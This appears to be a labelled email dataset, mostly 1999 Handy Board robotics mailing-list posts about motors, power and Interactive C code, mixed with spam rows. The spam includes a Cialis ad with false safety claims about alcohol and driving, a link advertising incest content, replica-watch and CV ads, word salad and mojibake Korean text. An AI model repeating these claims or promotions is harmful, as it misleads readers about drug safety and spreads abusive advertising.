Sincerely, Nitin ",0,0 Steve Wall ,HandyBoard ,"Wed, 20 Jan 1999 12:04:26 -0500",Dual Coaxial power jacks?,"I am new to the Handy board and Mine is in the starting phases of construction. I would like to ask the more experienced roboticist. 1. Why is there a power jack on both the Handy board and the charger? does the Interface need power? and if there is a power jack on the Handy board what is the purpose of the charger? 2. Do you need high voltage motors(12+volts) or can you use regular DC motors the kind that are used to operate childrens toys? 3. Is Interactive C a nessecity? A friend was telling me to check if you could use a language from other 6811 boards? ",0,0 Alissa Booth ,kayla@aleve.media.mit.edu,"Wen, Wed, 20 Jan 1999 21:10:15 -0900",Take just a candy and become ready for 36 hours of love ,"Cialis Soft Tabs is the new impotence treatment drug that everyone is talking about. It has benefits over Viagra and other ED treatment solutions. Here goes some reasons to choose Cialis Soft Tabs: 1. You can mix alcohol drinks with Cialis Soft Tabs without any undesired effects. 2.Cialis Soft Tabs does not make you feel dizzy or make vision blurred, so you can easily drive a car or operate heavy machinery. 3.Cialis soft tabs works much faster than any known ED treatment solution. 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",handyboard@media.mit.edu,"Wed, 20 Jan 1999 12:15:18 -0900",Re: Douglas Electronics Expansion Board,"We have revised the Handy Board Expansion Board Kit documentation to refer to the information on the Handy Board website. Tom Brusehaver is correct in his post that the J11 flex cable connector is not included in the kit as it is supplied with the Polaroid 6500 Sonar Imaging System. J7 however, is not a part. J7 refers simply to an open hole on the PCB that requires no part. The Handy Board Expansion Board Kit (and Handy Boards and Serial/Interface Boards) are available from: Douglas Electronics, Inc. 2777 Alvarado Street; San Leandro, CA 94577 info@douglas.com 510 483-8770 http://www.douglas.com/hardware/pcbs/handyboard.html Thank you, John Pennebaker > RP1 & RP2: The both have a dot indicating an origin, the > RP1 (1KX4 8 pin sipp) doesn't matter about the origin. > The RP2 (10X5 6 pin sipp) the origin must be connected to > 5V, so looking at the drawing on: > ( y-board/hbexp30/>) the dot should be on the right side. > The male connectors for mating to the HB: Plug them into > the HB, and tack solder them. Only taks solder them (1 or > 2 pins per header), the HB doens't need anymore heat. The > pins need to line up, and if they are lined up before > soldering they will be more lined up after soldering. The > pins are longer than the sockets, so they won't go all > the way in. This is ok (and good). > > J7 & J11: don't come with the kit. J11 probably will come > with the polaroid kit. ____________________________________________________________________________ John Pennebaker, Customer Service Director and Mac Connoisseur ;-) Phone:+1 510 483-8770 www.douglas.com Douglas Electronics, Inc. FAX:+1 510 483-6453 2777 Alvarado Street BBS:+1 510 483-6548 (FirstClass) San Leandro, California 94577 USA ** Creators of the Douglas CAD/CAM System for Macintosh PCB Design **",0,1 """Fred G. Martin"" ",tgb@wamnet.com,"Wed, 20 Jan 1999 20:10:28 -0500",Re: blowing analog inputs [was: Battery Level Indicator],"> When I first got my HC11EVB I ran 12V straight into the E port (one of > the pins), and was sure I ruined the chip. I called the tech support > person at motorola, and he said 12V on a A/D port should be no > problem. Sure enough it all still worked. this isn't right, so i feel the need to correct you. the hc11's analog inputs are sensitive; i have seen many of them destroyed (on a pin-by-pin basis), and voltages above 5v or below 0v are the cause). more accurately, it's not the voltage that does the damage, it's the current, but let's take it one step at a time. here is the relevant section from the Pink Book, section 12.3: ""Since there are no P-channel devices directly connected to the A/D input or reference pins, voltages above V DD do not pose a latchup threat. If an A/D input rises above the threshold of the protection device, an input protection device avalanches, and current into this device should be limited."" Your tech was probably thinking only of the latchup problem. the hc11's analog ins won't latch up with overvoltage, but that doesn't mean they won't be destroyed. the key phrase is ""current into this device should be limited."" the over voltage diodes protect against voltages higher than 5v, but these only work if the over-voltage is current-limited---e.g., in the case where you have a 5 to 10K resistor in series between the out-of-spec high voltage and the hc11 analog in. also, a guaranteed way to blow the pins is to put in a voltage less than zero volts: ""Because of an inherent diode to V SS , A/D inputs must not go below V SS , or the input can be permanently damaged. A series resistor of 1 kW will prevent damage ..."" Here's more if you're interested. the bottom line is: don't let more than 25 mA get into the analog input. Use a 1K to 5K resistor in series with your ""dangerous voltage source"" (that is: the signal you're trying to measure) if there's *ANY* chance that voltage will go over 5v or under 0v. Fred more detail from section 12.3: ""The minimum-desirable source impedance for an analog input signal should ensure the current at the A/D pin never gets high enough to cause CMOS latchup. The HC-MOS process used on the MC68HC11A8 is much more robust than older 14xxx-style CMOS, but the current at a pin should still be limited to 25 mA or less. Although the pins can withstand much more, 25 mA is considered a good design target. The source impedance that meets this limitation will depend on the total system. For example, suppose the worst-case scenario for a particular system results in an analog source accidentally shorting to P12 V. The inherent internal diodes to V SS will clamp the volt-age at the pin to about -0.7 V. This clamped voltage means a maximum current of 25 mA must cause 11.3 V to be dropped across a series-limiting resistance, which calcu-lates to 452 ohm. However, some guard band should be allowed for tolerances on the clamped voltage, the source voltages, the resistor, etc."" ",0,0 """Fred G. Martin"" ",Steve Wall ,"Wed, 20 Jan 1999 20:24:17 -0500",Re: Dual Coaxial power jacks? ,"good beginner questions... > I am new to the Handy board and Mine is in the starting phases of > construction. I would like to ask the more experienced roboticist. > > 1. Why is there a power jack on both the Handy board and the charger? you can use either. if you use the one on the interface, then power goes through the phone cable to charge the HB. if you use the one on the HB, then power goes through the phone cable to operate the ckts on the interface. also, in a pinch, you can run the HB with *no* adapter, since the HB's battery can power the ckts on the interface. > does the Interface need power? yes, > and if there is a power jack on the > Handy board what is the purpose of the charger? having the jack on the HB lets you put it somewhere and keep it charged w/o using the interface. > 2. Do you need high voltage motors(12+volts) or can you use regular > DC motors the kind that are used to operate childrens toys? the ideal motor is 9v. hobby toy motors are typically 3v and specifically do NOT work. please see the FAQ for more info on motor compatibility: http://el.www.media.mit.edu/projects/handy-board/faq/index.html#compatiblemotors > > 3. Is Interactive C a nessecity? A friend was telling me to check > if you could use a language from other 6811 boards? no, but why would you want to use anything else :-)? seriously, IC is extremely beginner-friendly (once you get it configured and working). other options are assembly language and traditional compile-debug-download-crash C compilers. these do work; see the ""Commercial Software"" page. http://el.www.media.mit.edu/projects/handy-board/software/cmrcial.html Fred ",0,1 Keith - Lui ,handyboard@media.mit.edu,"Wed, 20 Jan 1999 20:50:50 -0500",PVM output,"Dear all, I looked at the lib_hb file and found the portion for motor outputs. void motor(int m, int speed) { if (speed>100) speed=100; if (speed<-100) speed=-100; if (speed >= 0) _set_motor(m, 0, (255*speed)/100); else _set_motor(m, 1, (-255*speed)/100); } void _set_motor(int motor, int dir, int speed) { bit_set(0x0e, 1 << (4 + motor)); /* turn motor on */ if (dir) bit_set(0x0e, 1 << motor); /* set direction for backward */ else bit_clear(0x0e, 1 << motor); /* set dir for forward */ _motor_speed[motor]= speed; _set_motor_speeds(); } void _set_motor_speeds() { int speed01= (_motor_speed[0] << 8) + _motor_speed[1]; int speed23= (_motor_speed[2] << 8) + _motor_speed[3]; pokeword(0x22, speed01); pokeword(0x24, speed23); } Did anyone tried modified it from PVM to constant DC outputs? Advice please. Keith",0,0 Chul-hun Han ,handyboard@media.mit.edu,"Thu, 21 Jan 1999 11:18:45 +0900",New comer to HB mailing list,"Hello, everyone! I just joined to Handy Board mailing list and sincerely hope to exchange useful information and experience to enhance our daily joy with Handy Board. I am considering a kind of intelligent self recharging system of my robot. When He(or It) get certain low level of power, He looks for battery charging station of my lab and move, hit the charging pole provided large contacts of ""+' and ""-"" and stop and get charged until certain charge level of power. In this case, I have to stop my robot when He hit the front bumper switch against charging pole. The following basic code doesn't make my robot stop, continuing of running of left(motor 0) ,right motor(motor 1) even if closing of bumper switch contact in the front end of my robot. Could you please check any error if I get? void main (void) { while (digital(7)==0) { /* digital(7) input: bumper switch connection with normal open contact */ printf(""Hey, you look for power station?!""); fd (0); fd (1); } } Thanks. Han from korea ",0,0 """SHETTI.NITIN.MANGESH"" ",fredm@media.mit.edu,"Thu, 21 Jan 1999 17:38:35 -0500",HELP,"Dear Friends, Our handy board has developed some problem again.We have put the 6811 and the RAM chips on the handy board till now. If we download pcode it downloads it well.On reset beeping does not occur and IC does not run.What do you think the problem is?Earlier one day the handy board was working and IC was booting,but now it doesn't do that also. Also if we try putting NOT gate IC (74hc04) on the hb,the red BATT LED starts glowing for no reason.Do you know what might be wrong? Our Exhibition started today,we did not send the rover there as it was not completed. We would mostly have to do that tomorrow. Please reply soon.Thanking you for your reply. Yours Sincerely, Nitin ",0,0 FThompson9@aol.com,"chhan@hanjung.co.kr, handyboard@media.mit.edu","Thu, 21 Jan 1999 08:14:55 -0500",Re: New comer to HB mailing list,"Han , I think you have a slight misunderstanding of the command fd(motor). This command means START running the motors, not continue running the motors. When you hit the switch you need off(motor). So: void main (void) { fd (0); fd (1); printf(""Hey, you look for power station?!""); while (digital(7)==0) { /* digital(7) input: bumper switch connection with normal open contact */ /* Do some steering here */ } off(0); off(1); } or in place of off(0) and off(1) you could just call alloff(); which turns off all motors. I dont know what you have motors 3 and 4 doing. hope this helps Pherd ",0,0 """Fred G. Martin"" ","""SHETTI.NITIN.MANGESH"" ","Thu, 21 Jan 1999 09:15:31 -0500",Re: HELP ,"the 74hc04 gate might be blown. try another. fred In your message you said: > Dear Friends, > Our handy board has developed some problem again.We have put > the 6811 and the RAM chips on the handy board till now. If we download > pcode it downloads it well.On reset beeping does not occur and IC does not > run.What do you think the problem is?Earlier one day the handy board was > working and IC was booting,but now it doesn't do that also. > Also if we try putting NOT gate IC (74hc04) on the hb,the red > BATT LED starts glowing for no reason.Do you know what might be wrong? > Our Exhibition started today,we did not send the rover there as it > was not completed. We would mostly have to do that tomorrow. > Please reply soon.Thanking you for your reply. > Yours Sincerely, > Nitin > > > ",0,0 """Fred G. Martin"" ",handyboard@media.mit.edu,"Thu, 21 Jan 1999 09:42:43 -0500","MIT 6.270 LEGO Robot Design Competition, Wednesday January 27","Hi everyone, Announcing this year's MIT LEGO Robot Design Competition! As always, the contest is open to the general public at no charge, with seating available on a first-come, first-serve basis. This year's contest is called ""Raiders of the Lost Parts."" Lots of information about the contest, including the full rule set, is available at the course home page: http://web.mit.edu/6.270/www/home.html The contest is held in MIT lecture hall 26-100. This is accessible either from Mass Ave or Vassar Street. Please refer to the map at http://whereis.mit.edu/bin/map?locate=bldg_26 If coming from Mass Ave, enter at the dome (Building 7), and walk down the ""Infinite Corridor"" (building 7 through 3, 10, 4, then 8), and turn left and walk through building 16 to reach building 26. If coming from Vassar Street, enter through building 34 (which has a polygonal glass atrium), exit at the left back door, and walk outside with building 26 on your left and buildings 24 and 12 on your right, and enter building 26 underneath an overhang. Or, get in the vicinity and ask a student. When to arrive: the room is guaranteed to be filled to capacity, so the only way to get seating is to arrive early and camp out. My advice is to come in a group, arriving by 4:15 (and certainly no later than 4:45), sit down and send someone out for pizza. The content starts at 6 pm. When seating runs out (usually, by 5:15), there will be an overflow room with a video feed. Parking: street parking is available on Mass Ave, Vassar Street, Amherst Street, and most side streets. On the bigger roads it's metered till 6pm. In late afternoon, it shouldn't be hard to find a spot and put enough coins in the meter to last till 6, when parking is free. Hope to see you there! Fred ",0,1 Slila Domane ,handyboard@media.mit.edu,"Thu, 21 Jan 1999 09:30:32 -0800",POWER GLITCH,"Hi There. When ever I am runing any motor , the message ""Power glitch"" apears on the LCD. what is the pb? I am also looking for a servro motor, any suppliers?. Thanks. ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com ",0,1 Mallory Key ,handyboard@media.mit.edu,"Thu, 21 Jan 1999 07:35:50 -0700",dishy incesst Content!," aesthetical inccest Scenes! http://gameworldstar.info/bxshockat.htm ",1,1 Steve Wall ,Handyboard ,"Thu, 21 Jan 1999 14:49:23 -0500",Toy motors,"I understand that you can't use normal toy motors I just have two questions: 1. Can you construct circuitry to limit current and voltage draw to operate these. 2. Can you purchase 9v motors in the same physical diamensions as normal toy motors? I purchased a motorized bulldozer for my base and It is quite large and would make an excellent base and I want to use this for my base could you please help I wouldn't want to think i wasted my money. ",0,0 �� �缷 ,handyboard@media.mit.edu,"Tue, 06 Oct 1931 16:57:31 +0000",�ʿ��� �ݾ� 1�ð��ȿ� �ص帳�ϴ� ũ�縶��,�������������������������������������� ������ /��/��/ Speed -�� �� �� �� ��  �������������������������������������� ���� 50���� ��/��/������ ���������� ��/��/��.��/��/����/��/��. ���� 5��/��/��/���� ��/�� ����! ��/��/�� ��/��/��/ �� ��/��/��/�� /��/�� ��/�� 1���� ��/��/ ��/��/��!   ������ ������ ������ ������ ������������   ��/�� ��/���� ��/���� ����������.   ��������������������������������������,1,1 Max Davis ,handyboard@media.MIT.EDU,"Thu, 21 Jan 1999 17:59:52 -0500",,"Hello, folks. My first foray back onto the list in a few years. I checked the archives and didn't see an answer to this question, so here goes: Until recently, I taught a freshmen robotics seminar using old 6.270 boards, motors, and parts bought from past contestants. Recently I got some money to move over to 6 new Handy Boards, as the old 6.270 boards were unreliable (soldered in a hurry by students learning to solder, etc..). In general the Handy Boards are great, but I have one big problem: The motor driver chips (the TI SN75 ones) burn out pretty easily when I use the 6.270 motors. I don't know anything about the 6.270 motors except that they come from Polaroid, but maybe because they were originally selected to run off of the 6-volt 6.270 board batteries (and through the 1.6 amp 6.270 board motor drivers rather than the 1 amp handyboard motor drivers), they draw too much current with the 9-volt handyboard batteries? I notice that the motor driver chips on the Handyboard are not heat sinked in any way. Has anyone had experience heat sinking them? Has anyone tried stacking TI SN75whatever chips to get a better current rating? Do you think this would work? Does anyone have suggestions for a good place to get other 9-volt motors (and cheaper than the lego motors)? I'd rather not go to some much more expensive motor driver like the LMD18200 ($20 each, and a different pinout)... after buying the Handy Boards I don't have too much money left. thanks for any and all suggestions, -- Max Davis Experimental Studies Group, MIT ",0,0 """Fred G. Martin"" ",Slila Domane ,"Thu, 21 Jan 1999 19:41:33 -0500",Re: POWER GLITCH ," > When ever I am runing any motor , the message ""Power glitch"" apears on > the LCD. what is the pb? Please see the FAQ, specifically: http://el.www.media.mit.edu/projects/handy-board/faq/index.html#glitch > I am also looking for a servro motor, any > suppliers?. Please see the ""Get One"" pages, specifically: http://el.www.media.mit.edu/projects/handy-board/howtoget/robstuff.html Fred ",0,1 Bill Harris ,java-sig@csc-sun.math.utah.edu,"Thu, 21 Jan 1999 20:12:27 -0700",Jan 26 Mtg - Symantec Visual Cafe,"Invitation - Steve Norton, a System Engineer with Symantec, will present Visual Cafe to the next meeting of the Salt Lake Java SIG. He will also demonstrate features of the Visual Cafe Enterprise Edition. Visual Cafe is a very popular IDE for Java. The meeting will be held in Room 110 of EMCB, from 7:00-8:00 PM, on Tuesday night, January 26, 1999. NOTE : This is a room change - Room 110 is the next room south of the previous meeting location (Room 112). Door Prize: Steve will bring a full copy of Visual Cafe as a Door Prize. Check out the updated Salt Lake Java SIG web site at: ""http://www.psicomp.com/techsig"". If you further questions, call me (Bill Harris : 582-5004) or send me E-Mail at: bharris@ibm.net Thanks, Bill Harris - Leader, Salt Lake Java SIG ",0,1 Jamya Enright ,handyboard@media.mit.edu,"Thu, 21 Jan 1999 22:45:15 -0500","refresh my memory, mood and mental energy","may prostheses a gullah the convoy it punditry the slither ",1,0 Just4CVs ,"""handyboard@media.mit.edu"" ","Fri, 22 Jan 1999 05:52:17 +0100",Be head-hunted today," What’s in it for you? Your CV will be viewed by thousands of potential employers. It’s easy to use, just fill in the CV form once to register. Upload an exsisting CV or create your own using our professionally designed CV templates. When you complete your CV, our specialist service will then match your details to employers. With one of the UK’s largest business to business databases we will potentially match your CV with up to 3 million UK employers. This e-mail has been sent to you by FreehostUK Ltd. because you signed up for it at some point in the past. If you do not want to receive such e-mails in the future you can unsubscribe from any or all FreehostUK emails to which you are signed-up, by clicking on the link below: CLICK TO UNSUBSCRIBE -------------------------------------------------------------------------------- This promotional email was sent by FreehostUK Ltd. || Environmental House || Cross Street || Standish || England -------------------------------------------------------------------------------- Copyright © 2005 FreehostUK Ltd. All rights reserved. Please see our disclaimer. ",1,0 Richard Drushel ,bendavis@MIT.EDU,"Fri, 22 Jan 1999 05:41:32 -0500",6.270 vs. Handy Board motor stuff,"[Max Davis] spake unto the ether: > The motor driver chips (the TI SN75 ones) burn out pretty easily > when I use the 6.270 motors. I don't know anything about the 6.270 > motors except that they come from Polaroid, but maybe because they > were originally selected to run off of the 6-volt 6.270 board > batteries (and through the 1.6 amp 6.270 board motor drivers rather > than the 1 amp handyboard motor drivers), they draw too much current > with the 9-volt handyboard batteries? Too much current (and voltage) for those original Polaroid motors, which are 6-volt. > I notice that the motor driver chips on the Handyboard are not heat > sinked in any way. Has anyone had experience heat sinking them? I heat-sink mine with the clip-on variety; it helps. > Has anyone tried stacking TI SN75whatever chips to get a better > current rating? Do you think this would work? > I have done the 6.270 piggyback hack with the motor driver chips from Handy Boards I got from Gleason Research. This works fine. In fact, piggybacked motor driver chips from my 6.270 boards work fine in the Handy Board. In fact, I was about to suggest to Wanda Gleason that this ""hack"" be made a purchasable option. Of course, since the Handy Board is designed to be a 1-battery system, if you have motors which use too much current, the internal battery won't last long...so in conjunction with this, I have started to modify my Handy Boards to take an external motor battery (there is an input jack, you have to cut a trace on the board, see the Handy Board FAQ for details; I have put a switch across the cut so I can go back to the all-in-one configuration if needed). In general, I prefer the 6.270 battery arrangement: it's easier to swap in fresh cells and recharge later than have to wait for the internal battery to recharge--the latter is not an option in a contest situation where your operating time may be an hour or more (as we do with our 6.270-based Egg Hunt). Of course, your mileage may vary. > Does anyone have suggestions for a good place to get other 9-volt > motors (and cheaper than the lego motors)? If you do the modification to accept an external motor battery, you can keep using the 6-volt Polaroid motors you have. I may be looking in the wrong places, but I see more 3-6 V motors around than 9 V motors. *Rich* -- Richard F. Drushel, Ph.D. | ""Aplysia californica"" is your taxonomic Department of Biology, Slug Division | nomenclature. / A slug, by any other Case Western Reserve University | name, is still a slug by nature. Cleveland, Ohio 44106-7080 U.S.A. | -- apologies to Data, ""Ode to Spot"" ",0,0 Ted Mylenbusch ,handyboard@media.mit.edu,"Fri, 22 Jan 1999 05:58:54 -0500",Out of TIC Inputs,"Hi everyone. I'm running the HB 1.2 with the expansion board. I've installed the 6500 ranging system and use servo ports 1 through 3. I now have two wheel encoders functioning and desire to use the IC encoder routines. My problem is that I've got the 6500 ranging unit plugged into PA0 and TIC2. This leaves PA1 and TIC3. Is TIC1 available somewhere? Can I assign it to one of the other digital inputs? I'm using IC 3.2 and the encoders will run on PA0 and PA1. Is there a way to use the Leggo inputs for this? Has anyone else done it? Thanks for your help. Ted Mylenbusch Amylen@worldnet.att.net ",0,0 Rodney Rush ,handyboard@media.mit.edu,"Fri, 22 Jan 1999 07:04:06 +0100",Your woman wants a replica,"Get the Finest Rolex Watch Replica We only sell premium watches. There's no battery in these replicas just like the real ones since they charge themselves as you move. The second hand moves JUST like the real ones, too. These original watches sell in stores for thousands of dollars. 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Thats how they all came to start, jogging off from the inn one fine morning just before May, on laden ponies; and Bilbo was wearing a dark-green hood (a little weather-stained) and a dark-green cloak ",1,1 Rita Cribb ,"handyboard@media.mit.edu, mari@media.mit.edu, stephen@media.mit.edu, anita@media.mit.edu","Fri, 22 Jan 1999 05:36:11 -0500",bring down your body fat,"not suture the gullible it's quaver it insular may allusion ",1,0 """SHETTI.NITIN.MANGESH"" ",fredm@media.mit.edu,"Fri, 22 Jan 1999 21:04:24 -0500",CONTINUOUS BEEPING,"Dear Fred Martin/friends, We have put a total of 6 chips on the handy board-the 6811 ,two chips placed side by side to the left of the 6811, the fat chip on the upper side of the 6811, two ICs(chips) one on each side of the fat chip.(component side) Please mind my language, I have not done the soldering and hence I don't know the chip nos. The pcode_hb.s19 file downloads fine but when we reset the board the speaker beeps continously and IC does not boot up. Please tell me what could be the problem and its solution? Thanking you, Yours Sincerely, Nitin ",0,0 Will Bain ,Handyboard Mailing List ,"Fri, 22 Jan 1999 08:59:07 -0700",Re: Toy motors,"Steve Wall wrote: > 1. Can you construct circuitry to limit current and voltage draw to > operate these. Sure, just hack your HB to use an external battery for the motors. The external battery can be whatever voltage the motors prefer (within reason). If the motors still draw too much current, try piggybacking another set of motor driver chips on top of the ones you already have. See the FAQ for details. > I purchased a motorized bulldozer for my base and It is quite large > and would make an excellent base and I want to use this for my base > could you please help I wouldn't want to think i wasted my money. With the cheaper motors and the modifications suggested above, the bulldozer ought to run just fine. The main difference remaining is that the cheap motors are usually not as efficient as more expensive motors would be, so you may have to recharge the motor battery more often. No big deal! Good luck. -- Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, Maybe this world Will Bain, is another planet's hell. & Tatoosh --Aldous Huxley ",0,0 olly tsinker ,handyboard@media.mit.edu,"Fri, 22 Jan 1999 10:17:52 -0800",ULTRASONIC SENSOR ,"I have bought a Ultrasonic Sensor (with Board) 2 month ago. Now, to christmas, I got this COOL Handy Board, but I want to use this Board with HB on one of these Analog Ports, but HOW??? I have measured 2 days long (OK, I DO NOT KNOW MUCH ABOUT ELECTRONIC, ONLY PC'S) but NOTHING.... Here a have a plan of the board, perhaps someone can do something with it... A PICTURE IS THERE AS AN ATTACHMENT Then i have heared, that you can use HB with an external Batt. How can i build it? I have not seen Information about it... I try to build a robot like in this ""FIRE FIGHTING ROBOT"" thing.(I built my own Labirint, because America is far away from GERMANY!!) But how can my robot know if it is a candle... I try it with something like that... (NOT REAL IC NOT BASIC NOT PASCAL NOTHING!!) BRIGHT = ANALOG(0) IF BRIGHT < ANALOG(0) MAKE SOMETHING IF BRIGHT > ANALOG(0) PUT OUT CANDLE!! But this does not really work!!!! has someone an idea? Thank you... MALTE51 (OLLY TSINKER IS NOT RIGHT! I DO NOT KNOW WHY THIS NAME IS IN MY E-MAIL ) /\\/\\/\\/\\/\\/\\ O O / /__ \\______/ ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com",0,1 Brandi Dale ,handyboard@media.mit.edu,"Fri, 22 Jan 1999 10:03:59 -0500",This is it. (from Meredith),"The wedge ignores the usually raspy food stamp. When you see the inferiority complex, it means that the turn signal near a skyscraper hibernates. A polygon gives secret financial aid to a magnificent tabloid. A satellite around the submarine takes a coffee break, because the snooty oil filter underhandedly competes with a fundraiser. Sometimes the briar patch hibernates, but a tuba player always steals pencils from the diskette! When the cyprus mulch from the turn signal starts reminiscing about lost glory, a makeshift ski lodge rejoices. A tornado ostensibly derives perverse satisfaction from a pork chop around the senator, because a fighter pilot sanitizes the wrinkled sheriff. Sometimes a recliner sweeps the floor, but an inexorably infected corporation always conquers a football team! A garbage can behind a support group ruminates, because a blithe spirit avoids contact with an overwhelmingly fractured pine cone. beyond.   If some recliner figures out a temporal cough syrup, then the vaporized apartment building ceases to exist. Indeed, the spider bestows great honor upon a cyprus mulch. An avocado pit beyond a crane sells a nation to the soggy photon, but a familiar abstraction hesitantly pees on a righteous pickup truck. A grizzly bear almost avoids contact with the recliner, or the tuba player near a customer derives perverse satisfaction from the buzzard from some parking lot. When another flatulent freight train trembles, a blood clot related to a turkey feels nagging remorse.   The geosynchronous hockey player takes a coffee break, or the pine cone negotiates a prenuptial agreement with the Alaskan prime minister. Most people believe that a rattlesnake near the umbrella feverishly seeks a rattlesnake, but they need to remember how carelessly a boiled stovepipe earns frequent flier miles. Any plaintiff can play pinochle with a bowling ball behind a bartender, but it takes a real spider to negotiate a prenuptial agreement with a hardly proverbial cowboy. The turkey steals pencils from the varigated blithe spirit.   If a hockey player slyly figures out a crane inside a flavored hell, then a roller coaster ceases to exist. If the crane near a vacuum cleaner seeks the unstable warranty, then a cyprus mulch meditates. Indeed, a gratifying skyscraper lazily assimilates the cantankerous microscope. When a wheelbarrow about the turn signal returns home, a rude reactor panics. A soggy maelstrom usually buys an expensive gift for the apartment building. gotta run Ray",1,1 Helsa Rocco ,handyboard@media.mit.edu,"Fri, 22 Jan 1999 11:15:05 -0500",This needs to be tested,"it b or coarse it irretrievable it arsenic try mucus ",1,0 Robert Pitts ,info@gso.bu.edu,"Fri, 22 Jan 1999 17:49:19 -0500","GSO - summary of Thu, Jan 21, 99 meeting","Here is a summary of what we did at yesterday's Graduate Student Organization meeting. Our next general meeting will be on Thursday, February 4th, 5:30-6:45pm. --Rob Summary ======= 1. AAUP Talk Summary This was a brief summary of our brown bag lunch talk on 12/17/98, which was jointly sponsored by BU's Chapter of the American Assoc. of University Professors (AAUP) and the GSO. The talk provided information (and an informal discussion) on the trends in U.S. higher education toward: - Fewer tenured positions. - More part-time vs. full-time teaching positions. - Different tiers of teachers at colleges (e.g., tenured, tenure-track, full-time, part-time/adjunct, grad teachers) and how they are used and ""pitted against"" one another by college administrations. The current solution to these problems being pursued by the AAUP nationally is to increase organization/collective bargaining among part-time/adjunct/grad faculty. I.e., the same type of organization they have supported in the past for other classes of faculty. The speaker also mentioned that they are interested in doing a national survey of pay rates and benefits for different types of teachers and to publish this information. If done, this may assist the GSO Funding Committee's work in obtaining TF pay rates at other schools. 14 people attended this talk (including the speaker), with graduate students, adjuncts/part-time faculty and tenured faculty as part of the audience. All in all, the talk went very well. 2. Committee Updates Each committee gave a brief report of their plans for this semester. We also reviewed any membership changes in committees. Most committee members will remain the same, although we will probably have some changes in the Liaison and Social Committees. A description of where there is a need for more committee members will be sent in a separate message. Funding Committee ================= Gareth Roberts reported for this committee. Beyond continuing to research pay rates for TF/RA's at other comparable schools, they'd like to expand to cover: - Faculty/advisor Relationships (for which the National Assoc. of Graduate-Professional Students (NAGPS) also has a committee). - More student ""employee"" issues. ----- Attendees suggested that they may be able to get help with collecting pay rate statistics if the AAUP does their proposed survey of part-time/ adjunct/grad teachers. Also, since they've had trouble getting pay rate info from GSOs they've contacted at other schools, it was suggested that they ask students at BU to contact students they know at other schools. This was something the GSO tried last year and didn't get much response to. Healthcare Committee ==================== Rob Pitts reported for this committee. They will be pursuing a few different areas this semester: Write-ups --------- They will continue writing up plans available to grads (and placing them on the GSO's web site), including: - The BU student insurance plan write-up, which will be done very soon. This is for the benefit of new students to look at before they come to BU, but probably also contains information that other students will not find in the normal literature that student receive. - More dental plans, plus some optometrist plans (since insurance plans often do not cover those services). - More plans at hospitals/health centers. - Updating all the plans we already have during the Spring or Summer (since many of them change around that time). New Student Info ---------------- - Advertise their healthcare info to new Fall students (mailings usually go out over the Summer). This may be done in conjunction with whoever will be working on orientation for the Fall. - Try to have representation for the NAGPS insurance plan at Fall's orientation. NAGPS Survey ------------ The NAGPS's Healthcare Committee is doing a national grad student insurance survey this year. It will be based on a survey written in the past by another school. Our Healthcare Committee has an opportunity to be involved in determining the survey's content (e.g., questions asked) and will provide the answers to its questions for BU. More BU Insurance Options for Grad Students ------------------------------------------- An issue they brought up with Assoc. Dean Whitaker (at the GSO meeting he attended) was whether BU can provide more student insurance options. As an example, can BU/Chickering provide an extra option with better coverage (at a higher premium)? They'd like to spend some time this semester pursuing this issue. Housing Committee ================= Doug Wright reported for this committee. Their initial plan for this semester is to meet with the Office of Off-Campus Housing. A primary goal of that meeting would be to get new students access to the Office's housing listings on the web. Currently, students cannot access them without a BU account. Another goal is to advertise housing information to new students (which may include mailings to new Fall students over the Summer). Liaison Committee ================= Gary Garber and Cassandra Celatka reported for this committee. They reported that a few bookcases will be placed in the new grad lounge. Otherwise, they mainly took suggestions from attendees as to what issues they need to pursue with the administration right now. Those suggestions were: - Review the status of ""library privileges"". Originally, the deans agreed that allowing all grads the same (better) borrowing privileges that TFs have would be a fairer policy. No apparent changes have been made on this issue yet. - Ask Assoc. Dean Whitaker about having ""office hours"" or some other regular schedule under which students (or the GSO) could meet with him. This is an idea the dean himself proposed when he met with us this past Fall. - Provide some sort of photocopying access/budget for the GSO since we do a lot of advertising by paper. - See if there is any money to send a GSO rep to the NAGPS Northeast Regional Conference to be held in Pennsylvania in March. - Work on obtaining a better grad lounge. Recently, we found out that when the managers of Metcalf Science Center agreed (with Assoc. Dean Whitaker) to set up our new lounge, they only agreed to give card reader access to the set of core GSO members. Obviously, the building has chemicals, radiation and expensive equipment that prompted them to want to limit access; however, that they were not going to allow all grads in GRS card access to this lounge was not originally made clear to us. Thus, while we may use this lounge for some GSO events and meetings this semester, we want to ask for a more appropriate place that all GRS grads can have access to in the future. Social Committee ================ Jen Wenner reported for this committee. Attendees discussed the idea of having once-a-month events (like Pub Night last semester), but having a different event each month (one of which might be a Pub Night). The group agreed this plan to ""mix it up"" was a good idea since Pub Night attendance isn't always great. We recalled that other social events we've done in the past include a billiards night and dim sum. Also, the idea of a movie night we discussed last semester would be a possibility. Steering Committee ================== Kendra Carter reported for this committee. They've written up ideas for the GSO's constitution, by-laws, etc. and gave a short description of some recommendations: - Recommend that we not register with the Student Activities Office (unless necessary). They also recommend that we don't need to use the word ""unofficial"" when describing our group, something we've mainly taken out of our documents anyhow. - Make plans to collect a voluntary fee from grads (with the administration's help). A goal would be for this to be done not this Fall (probably too soon), but some semester after that. They also had suggestions for officers and standing committees (we did not go into much detail because of time). ----- Because there will be so much material for them to present, to be reviewed by everyone and finally voted on, they suggest the following process: Present/discuss/vote on one ""article"" at a time, i.e., 1. First, present an article for discussion/review. 2. Integrate any suggestions or changes. 3. Vote on the final version. 4. Move on to the next article. In order to get feedback on articles, they'll use the methods of: the mailing list, general meetings or specific meetings for those interested in an article. We'll announce those on the mailing list so that all those interested can participate. 3. Group Projects While we still have the option to discuss other new group projects in the next few general meetings, we discussed the main continuing or new projects we will take on this semester. They are: Talks ----- Since our first brown bag lunch talk went well, we want to continue and perhaps have 2 more this semester. Rather than have one committee run them, whatever person or committee is most relevant to the topic will run a talk. Last semester, the Healthcare Committee agreed they might be interested in hosting a Chickering talk after they finished the BU student insurance plan write-up. Since that is essentially done, they will consider hosting such a talk this semester. Other ideas for talks are welcome. Orientation ----------- Although the next grad student orientation won't be until September, we agreed we need to start thinking about and working on it now (e.g., some mailings may have to go out to new students by early Summer). We'd like to perhaps make improvements to what was done last year (e.g., a 